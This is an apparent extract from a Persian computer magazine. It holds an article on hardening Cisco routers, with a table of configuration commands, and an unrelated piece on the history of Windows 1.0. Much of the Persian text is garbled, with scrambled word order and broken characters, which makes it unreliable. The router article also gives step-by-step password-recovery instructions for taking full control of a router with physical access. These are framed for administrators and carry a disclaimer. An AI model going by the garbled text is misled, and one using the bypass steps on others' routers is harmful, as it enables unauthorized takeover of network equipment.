شه  می نمایيم اشنا بيشتر سيسکو خاص محصول یک برای امنيتی ليست چک یک با را شما بعدی های بخش نيستدر چنين دانيم می  همي
ه  اد  ب يد  داشته  ی ه  باش ر  ک يش  دارای های  روت ی  های  فرض  پ ثلا  هستند  خاصی  امنيت ه  اگر شما   م وان  ب دیر  عن ی  م  SECRET امنيت

Password الاتی  بی پایه بر ها حوزه این در را خود شانس ابتدا گر نفوذ یک نکنيد مشخص انرا های پارامتر و تعيين را ا  شما  مب  حتم
ا  قسمت به گر نفوذ دسترسی باعث امر همين بزنيد حدس ميتوانيد هم را کار عاقبت و کرد خواهد امتحان ه  و ه ی  های  لای  خارجی  امنيت

ه  باشد  شده ایجاد هنتاندر ذ سوال یک کلی طور به شاید افتند می خطر به شبکه تحت داخلی منابع کليه امنيت شده روتر تر دایناميک  ک
رای  اتفاقی سناریوی ترین بد وقت آن کند پيدا هم راFull Access دسترسی  یک گر نفوذ یک هم فرض به ورد  شبکه  ب  چيست  نظر  م

!!!  
 

ه  یک  اگر  که وگفتيم شمردیم بر را مختلفی های حوزه برایتان روتر یک امنيتی های لایه توضيح در است آسان خيلی جواب  تامني  لای
 راحتی  همين به هم فوق سوال جواب پس افتند می به خطر صورت همين به هم بحث مورد های لایه دیگر امنيت بدهد دست از را خود

ان  شبکه های لایه پایين ترین به نفوذگر یک وقتی شود می مشخص دا  دسترسی  ات د  پي تيابی  کن ا  دس ه  ب انی  های  لای ه   از فوق  Web جمل
Applicationبود خواهد دسترس در نيز.  

  
ر  تر کردن  امن آموزش ما اینجا در( اید توانسته طریقی به و هستيد خبره نفوذگر یک شما کنيد فرض مثال برای ا  روت ه  را ه اد  شما  ب  ی
 مسير که بود خواهيد قادر شما اینصورت در آورید  بدستLAN2LAN یک از را روتر یک کنترل )ها روتر هک نه نمایيم می آوری
 می  باشد  بالا شما دسترسی سطح اگر حتی نمایيد مانيتورینگ را روتر ها دیگر جمله از شبکه اجزای دیگر به براحتی را ها پکت دهی
 آوردن بدست با درکل نمایيد دهی مسير خود منابع از یک به هم را منبع های پکت خاصی به صورت و داده تغيير را دهی مسير توانيد

 به اینجا در که آنچه نخواهند بود امان در هم آتش های دیواره پشت در ای داده پایگاههای و نابعم از دیگر یک هيچ هایی چنين دسترسی
ی  شبکه  در خود  شده  شناخته های از روتر یکی ارتباطات آتشی دیواره یک گاه هيچ نمود بيان شود می واضحی کاملا صورت  را محل
 بر تکيه با ها جا از بعضی در بزنيد دور را فایروالی نوع هر توانيد می تیروتر براح یک آوردکنترل بدست با براحتی پس نميکند فيلتر
 بحال تا مطلب این صحت به ایا شود می بيان رسانيم می صفر به نفوذیرا هر امکان و ميکنيم افزاری استفاده سخت فایروال از ما اینکه

 برحملاتی سعی نفوذگران باشند و شده حفاظت اتشی ای دیواره چنينی با که نظرتان تحت شبکه که زمانی برای مفهوم این اید دقت کرده
 بسته یا باز برای را اتان شبکه منابع گری نفوذ اگر طور مثال به ميکند صدق زیادی حدود تا دهند صورت بالایی های لایه از استفاده با

 کند می بلوکه را ارتباطاتی چنينی خاص منبع یک از اینها آمدن شناسایی با اتش دهد دیواره قرار بررسی تحت مختلف های درگاه بودن
ا  شمرد  بر زمينه این در توان می را ها از مثال دیگر بسياری و ا  ت ه  انج د  ک ا  بخواه تفاده  ب ی  از اس ه  چنين ایی  لای ه  ه ا  شبکه ای  یک  ب  ب

 اگر  شمردیم بر که همانطور اگر بالا در کرد ولی اطلاق عمل این به توان نمی کوبيدن هاون در آب جز جيزی کند نفوذ حفاظتی چنينی
ه  و گفت توان می بازهم آیا انگاه بنماید را تر درونی های لایه از استفاده قصد نفوذگر ن  ب تناد  حرف  ای رد  اس ه  ک ا  چون  ک ایروال  از م  ف
 سخت هک های وشر از یکی ما بود نخواهد چنين قطعا . ماند خواهيم امان در نفوذی عمليات هرگونه از ميکنيم استفاده افزاری سخت

 دسترس در این حوزه در هم متعددی های روش شبکه یک تحت های روتر کنترل آوردن بدست مثل نمودیم گو باز شما افزاری رابرای
 می برداری بهره هایی حفاظت چنين کردن رد برای ها لایه زیر همين از متعددی های روش درARP ، IP Spoofing همانند  هستند
 .شود

  
  »:»رسيدیم  هک علم بنيادی نکته همان به هم باز

 
 در نيز هک کرد هنر کشف را نفوذ آن راه بايستی بلکه نيست ايمن مطلق طور به سيستمی هيچ و هست نفوذ برای راهی هميشه

  .شود می متبلور نکته همين
 

SECTION 2 
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 ٧٦٣    صفحه

  
 پيروزی یک خود این زمينه در نياز مورد توجه یيدنما یابی ارزش و بندی دسته را اتان مخلف های روتر پيکربندی های فرم و ها فایل
ی   باOFFLine حالت  در را روترها های پيکربندی فایل های کپی این شود می محسوب ها روتر امنيت بحث در بزرگ موفقيت و  کپ

ر  پيکربندی و وقایع های فایل سه  و بررسی  فعاليت  حال  در های  روت د  مقای ن  در نمایي يابی  ای ه  ارزش ون  های  شانهن  و نکات  ب ه  مظن  ب
ر  هک عمليات گيری صورت د   بهت ی خواهي رد  پ ل  لاگ بررسی  اینکه  ب ا  فای د  بررسی  طور  چه  را ه ه  نمایي ه  ب ز  شما  تجرب ستگی  ني  ب
ی   و ناملموس نکات به وقایع ثبت در اگر کل در نمود خواهيم اشاره ها زمينه این در نکاتی به در ادامه دارد فراوانی د  محسوسی پ  بردی
ه  بزنيد حدس توانيد می ها کپی این مقایسه با براحتی ان  شبکه  ک ورد  ات رار  حجوم  م ه  ق ا  است و  گرفت ر  ی ی  اگر  و خي دنبال  است  چنين  ب
  .بروید گيرانه پيش و احتمالی اقدامات

  
  سيسکو های روتر کردن امن جهت در عملی اقدامات

  
اگرام  در داده شده  نشان های ادرس و ها رساختا دهد می نشان را شبکه ساده پيکربندی یک دهنده نشان زیر تصویر ر  دی ط  زی رای  فق  ب
 به نيز ها ادرس و ها نمودار تمامی مقاله درادامه اند گرفته شده نظر در موضوعات بهتر مفهوم رساندن برای و اند شده رفته بکار مثال
  .بود خواهند منوال همين

  
  

ا نيست   بدان ولی خواهد گشا راه سيسکو های روتر نکرد امن زمينه در شما بهتر راهنمایی برای بالا دیاگرام ه  معن ن  ک  ساختار  یک  ای
د  می قرار شما اختيار در را ای شبکه امن کاملا ط  ده رای  فق ال  آوردن ب رده   مث ا  است  شده  بکار ب ن  ب سياری  های  شبکه  وجود  ای  از ب

 و خود طراحی به توجه به توانيد می امن نسبتا شبکه یک طرح در نيز شما . می نمایند استفاده شکل همين به هایی ساختار از سازمانها
 کار به ها روتر امنيت افزایش جهت در که متفاوتی روشهای باره در بخش نمایيد این طراحی را امن نسبتا یک شبکه مشتری های نياز
نا  ها روتر ای داده امنيتی های تئوری سری یک با قبلی در بخش نماید می بحث روند می يد  آش م  ش ایيم  می  سعی  مک  ک م  نم ه نکات   ه  ب
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 ٧٦٤    صفحه

 به معنایی نظر از ولی مجزا در بخش ها مقاله بخش در که همانطور نمایيم اشاره امنيتی کاربردی های روش ارائه همچنين و تر عملی
  . گرفت خواهد پيش را تری پيچيده سير دارای مقاله این گرفتيم  نظر٥یک  طبيعی طور به و بود خواهند مرتبط هم
 

  فيزيکی   يا افزاری ختس امنيت
 

 دستکاری از جلوگيری جهت آن شخص کردن متوقف جز راهی کند می اتان شبکه اجزای از یکی به مستقيمی یابی دست شخصی وقتی
رای  مطلب حتی این بلکه نميشود شبکه اجزای به منحصر مسيله این ندارید اجزا ان امپيوتر  دیگر  ب ا  ک  و الکترونيکی  های  دستگاه  و ه

ن  در شما  کوشش و به سعی بستگی این کند می صدق هم یمکانيک ه  ای د  زمين ادی  کارهای  داشت  خواه د  می  را زی ن  در تواني  حوزه  ای
ه  بدانيد اینرا البته اورید بعمل را ها عمليات اینگونه مشکل شدن برای وذگر  یک  دست  از ک ره  نف ين  خب ا  راحتی  بهم م خلاص   ه  نمی  ه
د  اعمال را ای راییاج های محدودیت توانيد می ولی شوید ر  و اجزا  کني ا   های  ساختار  زی ه  از شبکه ه ر  جمل ا  روت ریم  از یکی  ه  مهمت
د  می آورند بعمل اتش های دیواره همانند توانند می را محافظ نقش یک که همچنان ایند می شمار به سيستمی هر دفاعی های بخش  توانن
ه  دو شمشير  یک  شکل  به موضوع این به توان می جهاتی زا شوند تبدیل گر نفوذ برای عوامل خطرناک عامل یک نيز خود ام  لب رد  ن  ب

  .کرد خواهيد رهسپار طرف کدام به شما را تيغ لبه این که اینجاست فقط سوال
  

 امکانش حتی اگر گيرند امنيتی قرار شده محدود و حفاظتی های مکان در بایستی نيز ها هاب و ها سویچ و ها روتر بویژه شبکه اجزای
ار  این گيرد صورت این نظارت هفته های روز کل در و ساعته 24 صورت به اشخاصی نظارت تتح بود ا  را ک ی  محافظان  ب ا  امنيت  ی

ن  به دسترسی حق که افرادی برای باشيد داشته توجه نيز نکته این به البته بعمل آورید را دو هر از کيبی تر الکترونيکييا ی ها سيستم  ای
  .نشوند دچار دیگری مشکل یک به خود تا باشند زا مشکل و پيچيده ها محدودیت نبایستی این دارند را اجزا

  
 در حفاظت برای نمایند را پيکربندی نظر مورد های روتر مستقيم دسترسی با نه و دور راه از که باشند خواسته سيستمی های مدیر اگر

ت  ادمين ليست  های دسترسی ایجاد همچنينی و خارجی های دسترسی برابر ا  يابیدس رای  را ه اربران  ارتباطات  ب  و مشخص  خارجی  ک
  .نمایيد  تعریف

  
  .نمایيد ها استفاده ادمين خارجی های دسترسی برای مشخص کدینگ دارای و شده رمز ارتباطات ار بود امکان این اگر

 
 را عبور و رمز کلمات وردنبدست آ شود اشکار شبکه کل به نسبت بيشتر شما برای ها روتر افزاری سخت حفاظت اهميت اینکه برای
ر  رمز  کلمات  اوردن بدست به طریقه شما متدها این در اوریم می شما برای را مستقيم های دسترسی صورت در سکو  های  روت  در سي

  .شوید  می آشنا فيزیکی دسترسی داشتن صورت
 

 تحت های شبکه امنيت چه بيشتر هر افزایش رایب امنيتی مدیران یادگيری برای فقط شد خواهد گفته ها حوزه این در که نکاتی : هشدار
ن  از استفاده ء سو هر گونه مسوليت – ای رایانه های خرابکاری اموزش نه شود می اورده نظرشان ر  مطالب  ای ده  ب اربران  خود  عه  ک

  .باشد می
 

 این در شما اورد می را فراهم وسيسک های روتر در تمام کنترل و بالا سطح با دسترسی یک خود منفرد صورت به شيوه این از استفاده
ا  روتر های مدل بين در روش یافت این خواهيد دست کامل دسترسی یک به رمز کلمه دانستن بدون قسمت ا  ه اوت  کمی  ت  باشد  می  متف
ا  سيستمی مدیر یک – باشد می ترتيب این به کلی اصول کلی طور گفت به خواهم شما برای را کلی نمونه بک ولی ی  ی وذگر  یک  حت  نف
ر  های  روند اجرای با روتز درگاه یک با کامپيوترش ارتباط ایجاد یا روتر ترمينال با ساده ایجاد ارتباط با تواند می ازاوری   روش“ زی ب

  .نماید اجرا را "عبور کلمات
 

ه  هم مواقع بعضی.  شود  بوت(NVRAM)حافظه  های پيکربندی خواندن بدون که کنيد تنظيم صورتی به را روتر : اول مرحله ن  ب  ای
 Test Mode نامند  می سيستم ازمایشی حالت عمل

  
  .نمایيد بوت دوباره را سيتم : دوم مرحله

 
 کلمه بدون را عمل این شما شود  بوتTest mode حالت در شما سيستم اگر Enable Mode ( ممکن  دستيابی درحالت : سوم مرحله
 ).داد خواهيم انجام عبور

  
  فرض  پيش پيکربندی نمودن پاک یا و رمز کلمه تغيير یا و مزر کلمه نمایش :چهارم مرحله

  
 NVRAM از  طبيعی طور به آمدن بالا برای روتر دوباره پيکربندی : پنجم مرحله
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 خودتان رمز کلمه یا پيکربندی با سيستم اندازی راه دوباره : ششم مرحله
  
د  می براحتی فراهم باشد هم فيزیکی دسترسی اگر و باشد داشته تجربه سيسکو های روتر با کار حوزه در که کسی هر رل  یک  توان  کنت

م  بسيار ٥ مرحله ندارد نياز دقيقه هم یک به فوق مراحل این انجام کليه اورد بدست روتر روی بر را کامل از  شما  اگر  ميباشد  مه ه  ني  ب
سی  دوباره اعمال نوع این انجام از بعد دوباره کنيد ادهاستف متد این از توانيد می پيدا نمودید نياز دليلی هر به را عبور کلمه بازاوری  نوی
ی  شود  می  باعث ها انگاری سهل اینگونه نکنيد فراموش را روتر راه اندازی تنظيمات ر  وقت ه  روت ار  ب ه  ک  های  شود ضعف   می  گرفت
  .دهد نشان بوت هنگام در را زیادی امنيتی

 
 دارای سيسکو های روتر های از مدل بسياری باشد می فلش های حافظه شامل افزاری سخت های دستيابی کردن کنترل برای دوم نکته

شرده  های  حافظه برای مخصوص های شکاف  وPC-Cardگسترش  های شکاف رای CompactFlash Memory فلش   ف زایش  ب  اف
رای  مخصوص  های  شکاف اینگونه دارای که هایی روتر ميباشند جانبی های حافظه ميزان زایش  ب ا  حافظه  اف  مقبوليت  داری هستند  ه
 نصب یک  با تواند می شما های شبکه روتر به افزاری سخت دسترسی با هکر یک باشند می ان شکاف انواع بدون به نسبت تری زیاد

د  می روتر قدیمی روی های فلش از یکی با حافظه کردن عوض یا گسترش های شکاف این از یکی در فلش حافظه د  توان اره  از بع  دوب
دی   و IOSنسخه  روتر شود می عث با که خود نظر مورد حافظه با روتر اندازی راه ورد  های  پيکربن وذگر  نظر  م ه  را نف ر  ک  روی ب

 می سخت بسيار حملاتی چنينی شناسایی گيرد صورت ای خرابکارانه عمليات های چنينی اگر نماید اجرا را بود شده نصب فلش شکاف
ر  برایتان که باشد می افزاری سخت های حفاظت اه گری اینگونه نفوذ با مقابله بهترین باشد ه  شمردیم  ب می   پرسنلی  حفاظت  دیگر  نکت
  .دارند کار رو سر تجهيزات اینگونه با که باشند

 
 از بسياری همانند شوند داری می نگه اجزایی چنينی و ها روتر که هایی محيط با است مرتبط فيزیکی های حفاظت با مرتبط مسئله یک

ند  می  حساس چنينی رطوبت هم و بالا های دما یا و حرارت به نيز تجهيزات گونهاین شبکه اجزای ر  اگر  باش ا  روت  از مکان  یک  در ه
 تواند می نشود داری نگه محيطی های پارامتر نظر
ر محيطی   امنيت کاهش در است عاملی نيز مطلب این خود و شود مترقبه غير های حادثه دچار عمليات حين در ه  خود روت ر  ک ا  روت  ه

سی  های محيط از تهی بایستی گيرند می قرار آن درون تاتيک  و مغناطي ند تنظيمات   الکتروس ا  باش املا  را رطوبت  و دم د  جدی  ک  بگيری
ی  رای  داشت  امکان  اگر  همچنين ه  ب ر  کلي ا  روت تفاده  UPS( Uninterruptible Power Supply(از ه د   اس ه  نمایي ن  ب ل  ای ه  دلي  ک
  .بگيرند قرار ای بينی پيش غيره حالتهای در تجهيزاتی چنينی که شود می باعث پتانسيل د، افتایجا و توان در کمبود کوچکترین

 
سول   پورت نوع دو ورت   وConsol (con)کن رای  Auxiliary کمکی  پ ر  سریال  ارتباطات  ب ر  روی ب ا  روت  باشد  می  دسترس  در ه

 قابليت دو فرق اولين ميکنند پشتيبانی را نوع کنسول فقط نيز تر قدیمی انواع و باشند می دارا را پورت نوع دو هر ها روتر از بسياری
ه Auxپورت  موارد بسياری در باشد کنسول می پورت روی بر کلمات عبور اوری باز متد از استفاده تفاده  بلا  صورت   ب اقی  اس  می  ب
 ميکنند برداری بهرهdial-Up خطوط  همچنينی  وaux های  پورت از ها روتر به remote های دستيابی برای مدیران از بعضی ماند
 می  شمار  به خطر پتانسيل یک خود خارجی صورت به شبکه اجزای از قسمتی هر بهDial-Up ارتباطات  برای سيستم به دادن اجازه
د  شود و برداری بهره تلفنی خطوط ارتباط نوع این از زمان همان در بایستی ارتباطات اینگونه برای اید ين  آن از بع سته  سیسروی  چن  ب
ر  کامل  طور به موارد اکثر در یا و محدود یا  را Auxهای  پورت از استفاده امنيتی های مدیر اغلب معمول طور به شود ال  غي  می  فع
ل  کامل  صورت به را خودر های روتر که بگویيم ساده بایستی  بزبان قسمت این فهم راحتی برای – سازند د  قف ن  کني سيار  امر  ای م  ب  مه
  .نمایيد متصل امنيتی ریسک دارای های شبکه یک به را خود روتر اقدامات گونه انجام این زا قبل تا است

 
  ها روتر افزاری نرم های نسخه

  
 پویا مدیریت یک برای این شوند می روزانه ای پيوسته طور به هم پی در پی  ها IOSهمچنين  و سيسکو های روتر مختلف ی ها مدل
زرگ  های شبکه برای که است ضروری کاملا ز  اجزا  ب ه  ني سخه   شوند  Up dateای  پيوسته  طور  ب د  های  ن ر  جدی اگ IOS ت  های   ب
وده  رفع را قدیمی های نسخه د  نم ين  و ان ذیری  آسيب  همچن ایی  پ ه  را ه سخه  در ک دیمی  های  ن د  ق ر  را بودن وده  طرف  ب د  نم ات  ان  امکان
ا  مدت را افزارتان سخت شاید می شود اضافه ها روتر به هم نيز جدیدی د  تعویض  ه ی  ننمایي ا  ول ر  ب تفاده  و رسانی  روز ب سخه  از اس  ن

د  استفاده بهتر ها روتر امنيت و امکانات از تر های جدیدی اید  مينمایي م  شما  ش ر  ه ستم  یک  روی ب م  سي تفاده Win 9x/2k/XPاز ه   اس
سخه  اگر  پس  است کرده داپي بسيار افزایش اید اورده بدست که امکاناتی ولی است مانده ثابت شما افزار سخت اید نموده دی   های  ن  جدی
IOSنيز را ها روتر های افزار م نر نوع این ها سرور عامل ها سيستم همانند بزودی شوند می بازار  روانه Up Grade د زی  نمایي  چي
 که می شوند دیجدی های نسخه به نسبت کمتری پيچيدگی دارای قدیمی های نسخه اینکه دیگر نکته و نميگيرد قرار توجه مورد اغلب که
د  می شمار  بهIOS 12 بعدی  نسخه  کهIOS 12.01 سازد مثلا نسخه  می روبرو مشکل با حدی تا را ها پيکربندی نيز این خود  در ام

ود IOS12 نسخه آینده   خود IOS 12.0.9 نسخه آن زمان ه   ب دگی   ک ين پيچي ایی  هم اد  را ه د  می  ایج رین  نمودن رای  حل  ه را بهت ن  ب  ای
 مثلا کامل شده ارائه کامل پک سرویس بگذارید مثلا باشد می کامل ی ها پک سرویس یا نهایی محصولات هایی نسخه از دهاستفا مسيله
ه  است تذکر به لازم نمایيد راحت ها باگ تمامی رفع برای را خيالتان سپی و شود ارائهIOS 12 برای  ر  ک ر  رسانی  روز ب ا  روت ر  ه  ب

الا  های  نسخه شماره - باشد می  هاOS خلاف  ط  ب رای  فق ه  ب ال  ارای ه  بکار  مث د  شده  گرفت شه  ان د  نمی  کامل  پکيج  آخرین  از همي  تواني
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ه  بحث  نظر  از ولی نمایيد استفاده را شود می ارائه ماه هر انتهای در کهGD نسخه  آخرین از توانيد می شوید بهرهمند وانم  می  تجرب  ت
  OS مشابه صورت بهIOS های  پيذیری اسيب که بگویم
ر  خاص  باگ یک شناسایی اینکه دوم و باشند می یکدیگر از متفاوت لایه دو اولا شوند نمی گرفته کار هب ها ر  یک  روی ب م  روت  از آنه
ا   نيست این باشد تواند نمی ای ساده آنچنان کار دور راه ه ی د Security Scanner یک   ک اگ   بتواني ر  یک  های  ب دی  دسته  را روت  و بن

FIXده  های  شيوه چنينی از که نفوذگرانی تعداد سوم نکته شود می مشکل طریق بهمان هم نفوذگران رایب کار انصورت در نمایيد  پيچي
 این گفتن برند شاید بهره می نفوذ برای شبکه بالی های لایه از که هستند هایی هکر انبوه به نسبت کمی بسيار حد در کنند استفاده می ای

 دیگری چيز واقعی دنيای در مطالب و کنند مشخص می را مسيله طرف یک تئوری سایلم ولی نباشد درست علمی مقاله یک در مطلب
وذگری  آن آیا است نظرتان تحت پذیری شبکه ریسک مقدار اهميت حایز نکته سازند می نمایان را ه  نف ين  متحمل  را خود  ک ات  چن  عملي

ين  به قریب تمالاح که خاص کوچک محلی شبکه یک صرف را وقت خود آیا بکند بخواهد ای پيچيده وجهی  خور  در اطلاعات  یق م  ت  ه
ه  از استفاده با حمله دهنده نوعی نشان سناریویی چنين کنيد توجه زیر دیاگرام به کنم نمی فکر چنين که من کند می نشود آن یافت در  لای
يش  را نیچندا مشکلات هستيد که مستحضر همانطور عملياتی چنين انجام دهد می نشان را Web Application های وذ  روی پ  گر  نف

ه  کلی مطلب ميشود انجام سناریو همين طریق از نفوذگری  های عمليات کل  درصد90-80 حدود  در نميگذارد ه  حال  هر  ب  صورت  ب
د  شماتيکی  ر  همانن د  می  است حال   زی ستمها  توان ه  و عامل  سي اوت  های  برنام سخه  در و متف اوت  های  ن ه  متف ار  ب ه  ک ی   شوند  گرفت ول
  .است زیر حالت به کلی صورت به عمليات شد گفته که همانطور

 
  
 بر بيشتر ها نفوذ اینگونه شد گفته که همانطور دهند می نشان را افزاری سخت های نفوذ دهنده نشان ها امار صد در10 -20 حدود  در

ه  شبکه  یک  امنيت مسوول گيرد اگر می صورت ها دیگرپایگاه با متمایز و فرد به منحصر اطلاعاتی ها سيستم و خاص اهداف روی  ن
سازید  افکاری چنين با را خود فکر هستيد حساس غير و بزرگ چندان ال  و مغشوش ن ين  احتم وذ  چن ایی  نف ا  را ه  شهاب  یک  برخورد  ب
 دیگر  اهداف  برای هایی متد چنين از استفاده که نميکنم رد را امر این مطلق طور اینجا به در من البته بدانيد برابر زمين با عظيم سنگ
رد  صورت  معمولی های شيوه همان از اوليه مراحل در بتواند نفوذی وقتی شوند ولی نمی استفاده نيز ه  نوبت  دیگر  گي ی   ب ين حملات  چن

رم  های وصله مدیرت بحث در پس نميرسد زاری  ن شنهاد  اف شتر  شود  می  پي ان  بي ر  را تمرکزت  متمرکز  Applications  وOS روی  ب
م  من  قصد  البته نمایيد رسانی بروز اقدام IOS یافته ارتقاء های نسخه صورت در و نمایيد وه  اهميت  ک دیریت  و بروزرسانی  دادن جل  م
رم  پيذیری اسيب زاری  ن ر  اف ا  روت ر  بلکه مطلب   نميباشد  ه وذ  خطر  و ریسک  های  اولویت  روی ب م  مراکز  در است  متمرکز  نف  و مه

ر  این ار کدام هر اطلاعاتی ا  روز رسانی  ب ه  یاميت  های  تست  و ه ام  پيوسته  صورت  ب ذیرد  می  انج تانی  پ ه  دوس ين  در ک  مراکزی  چن
ن  معنی باشند می به فعاليت مشغول ه  ای شتر  را جمل د  درک بي اید  مينماین ن  ش ی  بخش  ای شتر  حت ه  از بي ورد   های  لای د  دیگر م رار  تاکيي  ق

اگ  پوشانيدن نحوه یا و رسانی بروز مورد در بيشتر اطلاعات ميگيرند برای ا  ب ر  ه ا  است  بهت ه  توجه  ب وع  ب دل  ن ه   م ان ب  سایت  روترت
ه  یک  ادامه در شد گفته که همانطور کنيد مراجعه روتر خودManual با   سازنده شرکت ی  ليست  چک  نمون ر  یک  امنيت ه  را روت  ارائ
  .مينمایيم
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 IOS ها  فرمان و روتر پيکربندی
  
ا  اصطلاح در که دهبو کاری حالت در نظر مورد سيستم ان  درLoginو  روتر به اتصال از بعد ا  اجرای  حالت  آن ب د  EXEC ی  مينامن
ی  دارید قرار  نيز Enable حالت در شما حالت چنينی در ا  یعن تفاده  ب انبی   دستور  از اس ا  دسترسی  EXEC حالت   درenable ج  ی ه

د  می  قرار شما ختيارا در را شده محدود دسترسی  یکEXEC حالت  که باشيد داشته توجه بایستی نمود خواهيد پيدا نيز را کامل ا  ده  ب
ه  روتر یک برای پيکربندیها متفاوتی تعداد . دهيد افزایشEnable حالت  به را دسترسی سطحenable فرمان  تایپ ی  صورت  ب  در کل

دی  برای کلی حال باشد می دسترس ر  پيکربن ا  روت ی  ه رار  یعن ری  ق تفاده config حالت   در گي   می Config terminal دستور  از  اس
  .داشت خواهيد را اجزا این در تغييرات برای دسترسی شما config حال در شود می  استفادهCinfig t خلاصه  صورت به هک باشد

 
banners، authentication systems، access lists، logging، routing protocols، 

  
 و ها پروتکل برای بيشتر استفاده هستند مورد یخاص اهداف برای که گيرند می قرار دستری در نيز خاصی پيکربندی های حالت دیگر

 انواع این جمله از شود می برداری بهره کلی همان حالت از بيشتر ميشود استفاده ها پيکربندی زیر این از خطوط همچنينی
] 

• Config-hf   
• Config-line   
• Config-ext-n  
• Config-route  

  
ن  از یک هر به توجه با گفتيم هم بالا مباحث در که همانطور وذ  دستورات  ای د  می  گر  نف وده   یک  توان دی آل ر  را پيکربن ر  ب ل  روت  تحمي
 کله که زیر جدول شود به می متمرکز هکر نوع اهداف به بسته شوند هدایت منظوری چه در و طور چه را ها داده ترافيک اینکه نمایند
  .بفرمایيد توجه ميشود شامل را پيکربندی اصلی های فرمان

 
   سيسکو های  روترconfigurationهای  انفرم کلی ليست

USE T 
١  To USE 
٢  Provide a minimum of protection for 

configured 
passwords. 

  

enable secret 
  

٣   
  

service password−encryption 
  

٤  Prevent abuse of the "small services" for denial 
of service or other 
attacks. 

no service tcp−small−servers 
no service udp−small−servers 

  
٥  Avoid releasing user information to possible 

attackers. 
  

no service finger 
  

٦  Prevent attacks against the NTP service. 
  

no cdp running 
no cdp enable 

  
٧  Prevent attacks against the NTP service. 

  
no ntp enable 

  
٨  Prevent attackers from using the router as a 

"smurf" amplifier 
Control which protocols can be used by remote 
users to connect 
interactively to the router's VTYs or to access 
its TTY ports. 

no ip directed−broadcast. 
transport input 

  

٩  Control which IP addresses can connect to ip access−class 
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TTYs or VTYs. Reserve 
one VTY for access from an administrative 
workstation. 

  

  

١٠  Detect and delete "dead" interactive sessions, 
preventing them from 
tying up VTYs. 

  

service tcp−keepalives−in 
  

١١  Save logging information in a local RAM 
buffer 
on the router. With 
newer software, the buffer size may be 
followed with an urgency 
threshold. 

  

logging buffered buffer−size 
  

١٢  Discard "spoofed" IP packets. Discard 
incoming 
ICMP redirects. 

  

ip access−group list in 
  

١٣  Discard "spoofed" IP packets in symmetric 
routing environments 
with CEF only. 

  

ip verify unicast rpf 
  

١٤  Prevent IP source routing options from being 
used to spoof traffic. 

  

no ip source−route 
  

١٥  Enable logging of packets that match specific 
  

access−list number action 
  

١٦  access list entries. Use if it's available in your 
software version. 

  

criteria log 
access−list number action criteria 
log−input 

  
١٧  Prevent fast floods from shutting down 

important processing. 
  

scheduler−interval 
scheduler allocate 

  
١٨  Rapidly discard packets with invalid 

destination 
addresse  s. 

  

ip route 0.0.0.0 0.0.0.0 null 0 255 
  

١٩  Filter routing information to prevent accepting 
invalid routes. 

  

distribute−list list in 
  

٢٠  Enable SNMP version 1, configure 
authentication, and restrict 
access to certain IP addresses. Use SNMP 
version 1 only if version 
2 is unavailable, and watch for sniffers. Enable 
SNMP only if it's 
needed in your network, and don't configure 
read−write access 
unless you need it. 

snmp−server community 
something−inobvious ro list 
snmp−server community 
something−inobvious rw list 
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٢١  Configure MD5−based SNMP version 2 

authentication. Enable 
SNMP only if it's needed in your network. 

  

snmp−server party... authentication 
md5 secret ... 

  

 
  

Entertainme  nt 
  

   ...خير به يادت  کهMicrosoft Window 1.0xکجايی 
  

  ٧١صفحه 
  

امپيوتر  علم تاریخچه به زیادی علاقه شخصه به من خود ولی نميدونم رو شما ه  و دارم شبکه  و ک د هستم   علاق ه  من اری  شيوه  ک راد  ک  اف
سي  چيزی هيچ ميان این اگردر بدونم شناسيد می رو آنها شما همه اکنون هم که رو بزرگی و سرشناس شه  آدم بن ل  ن ه  می  لااق رق  تون  ف

راد  این ا  رو اف راد  دیگر  ب ه  اف ين روش  و جامع ایی  همچن ه  ه ا  ک ه  رو اونه ه  رو رسوند  موفقيت  ب ا  شکست  از و ببين روزی  و ه  های  پي
  .عبرت بگيره  و درس گذشتگان

زی  کارشون  آغاز  که نيمبي می کنيم می نگاهGoogle  و !YahoO همچون  بزرگی های شرکت تاریخچه با که وقتی مثال طور به  چي
د  جالبه نبوده کنندگانشون بيکاری تاسيس اوقات کردن پر برای ساده تفریح یک یا و دانشجویی ساده پروژه یک از بيشتر ه  بدوني  محل  ک
ه  پارکينگ  یک  پشت در یا و بوده در خوابگاه کوچک دانشجویی اتاق یک یا هم شرکتها این ابتدایی ا  متروک ه  سرمایه  ب د  اولي  هزار  چن
د  کسانی تنها اینها زمان اون در دیگه های خيلی مثل کردند شروع روميزی ای ساده سيستم های با رو کار افراد این بوده دلار ه  نبودن  ک

ه  کليد موفقيت و رمز همراه به رو سوال این جواب خواب ... شدند موفق افراد این چرا پس بودند ها فعاليت این مشغول به راد  اینگون  اف
  .امتحان کنيد رو خودتون شانس تونيد می بخواهيد اگر هم شما راستی ميگم شما هب رو
 

 چند در روMicrosoft تجاری شرکت  موفقيت داستان خواهم می گوگل شرکت نه و هست یاهو شرکت نه ما امروز بحث دوستان ولی
ن  واقعی داستان و موفقيت علت ولی ددوني می رو ثروتش و شهرت داستان و گيتس بيل شما همه کنم گو باز شما برای خط شجوی  ای  دان

ه  کمی زمان در که لازمه پس . دونيد نمی دقيق طور به احتمالا شرکتش رو توسعه و هاروارد دانشگاه اخراجی يم  سفر  عقب  ب  الان  کن
  .)  زدم رو گذشته های زمان به سفر کليد شيم می زمان ماشين سوار(هست   ميلادی2005 سال 
  

دیم   انگاری  ببخشيد  اوه ... انياک جهان رایانه ابر اولين ساخت برنامه اوایل دوم جهانی نگج 1945 سال ادی اوم اره  یکم  عقب  زی  دوب
  .جلو ميریم

  
 

 شرکت این هنوز   ميگذشت  وMicrosoftشرکت   تاسيس از سال چندین 1985 :
 رو عامل سيستمهای های بازار محصولات کل ونه بود کرده پيدا جهانی شهرت نه

رده  قبضه  ود  ک ستم  ب دوز   سي سخه  عامل وین دنيا  یک  ن ه  شما  شود  می  عرضه  ب  ک
شناسيد  مایکروسافت  م  آشغال  محصول  یک  اگر  رو مي د  ه د  تولي ا  کنن اهو  ب و  هي

ا  مدت  از فراوان تبليغات ل  ه ه  محصول  عرضه  از قب ازار  ب  می  گرمی مشغول   ب
 برنامه در يرتاخ ها مدت از بعدMS Windows 1.0 محصول  حال هر به. شوند
انی  بازار به اش زمانی ان  آن جه زی   زم ی چي يش  سال  20 حدود  یعن وقعی  پ ه  م  ک
تند  حضور  دنيا این در محترم یا خوانندگان از بعضی ا  و نداش ا  ی  در بچه  پوشک  ب
 آقای شریفی و من مثل اشخاصی البته و شد بازار روانه بودند جغ جقه با بازی حال
